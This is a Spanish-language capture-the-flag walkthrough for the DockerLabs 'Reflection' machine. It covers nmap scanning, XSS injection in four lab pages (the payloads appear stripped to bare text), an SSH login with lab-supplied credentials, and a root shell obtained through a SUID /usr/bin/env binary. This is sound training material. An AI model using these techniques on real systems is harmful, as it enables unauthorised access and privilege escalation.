> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/reflection.md).
# Reflection
### **1. Despliegue de la máquina**
#### **1.1. Descarga**
Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Reflection** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.
#### **1.2. Descompresión**
Descomprimimos el archivo `.zip` utilizando `7z`:
```bash
7z x reflection.zip
```
#### **1.3. Ejecución**
Ejecutamos el script `auto_deploy.sh` que automatiza el despliegue del contenedor vulnerable en Docker:
```bash
bash auto_deploy.sh reflection.tar
```
### **2. Reconocimiento**
#### **2.1. Verificación de conectividad**
Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:
```bash
ping -c 1 172.17.0.2
```
#### **2.2. Escaneo de puertos**
Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:
```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```
**Puertos abiertos:**
* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.
#### **2.3. Escaneo detallado**
Analizamos los puertos encontrados con mayor profundidad:
```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```
**Servicios detectados:**
* **Puerto 22:** OpenSSH 9.2p1.
* **Puerto 80:** Apache 2.4.62 - Página de laboratorio XSS.
#### **2.4. Enumeración web**
Accedemos a `http://172.17.0.2` desde el navegador y encontramos una web con varios laboratorios de XSS.
### **3. Explotación**
#### **3.1. Laboratorio 1 (XSS Reflejado)**
Este laboratorio refleja directamente la entrada proporcionada por el usuario en la misma página.
Probamos con el siguiente payload:
```html
1
```
**Resultado:** El código HTML se interpreta correctamente, mostrando el texto `1` como encabezado.
#### **3.2. Laboratorio 2 (XSS Almacenado)**
Este nivel permite almacenar el payload en el servidor.
Ejecutamos el siguiente payload:
```html
1
```
**Resultado:** El código se almacena en el servidor y se muestra con el estilo aplicado (texto en color rojo).
#### **3.3. Laboratorio 3 (XSS con Dropdowns)**
Seleccionamos valores en los menús desplegables y activamos el proxy de BurpSuite para interceptar la solicitud.
Esta es la línea que debemos modificar para explotar esta vulnerabilidad:
```
GET /laboratorio3/?opcion1=ValorA&opcion2=ValorX&opcion3=Opcion1
```
Realizamos los siguientes cambios:
```
GET /laboratorio3/?opcion1=
Prueba_1
&opcion2=
Prueba_2
&opcion3=
Prueba_3
```
**Resultado:** El código que hemos introducido en la solicitud se interpreta correctamente en la respuesta.
#### **3.4. Laboratorio 4 (Parámetro GET)**
Este laboratorio refleja el contenido del parámetro `data` en la URL.
URL utilizada:
```
http://172.17.0.2/laboratorio4/?data=
Prueba
```
**Resultado:** El código se interpreta mostrando el texto en color azul.
#### **3.5. Conexión SSH**
Al completar los cuatro laboratorios, pulsamos el botón "Clic Aquí Cuando hayas Completado los Laboratorios". Esto nos muestra una ventana con credenciales para conectarnos por SSH:
* **Usuario:** `balu`.
* **Contraseña:** `balulero`.
Nos conectamos al sistema usando las credenciales obtenidas:
```bash
ssh balu@172.17.0.2
```
Confirmamos que tenemos acceso al sistema con el usuario `balu`.
### **4. Escalada de privilegios**
#### **4.1. Búsqueda de binarios SUID**
Buscamos binarios con el bit SUID activo:
```bash
find / -perm -4000 2>/dev/null
```
Encontramos el binario `/usr/bin/env` con permisos SUID.
#### **4.2. Explotación del binario env**
Utilizamos el binario `env` para obtener una shell con privilegios de `root`:
```bash
/usr/bin/env /bin/bash -p
```
**Resultado:** Obtenemos una shell como `root`, completando con éxito la escalada de privilegios.
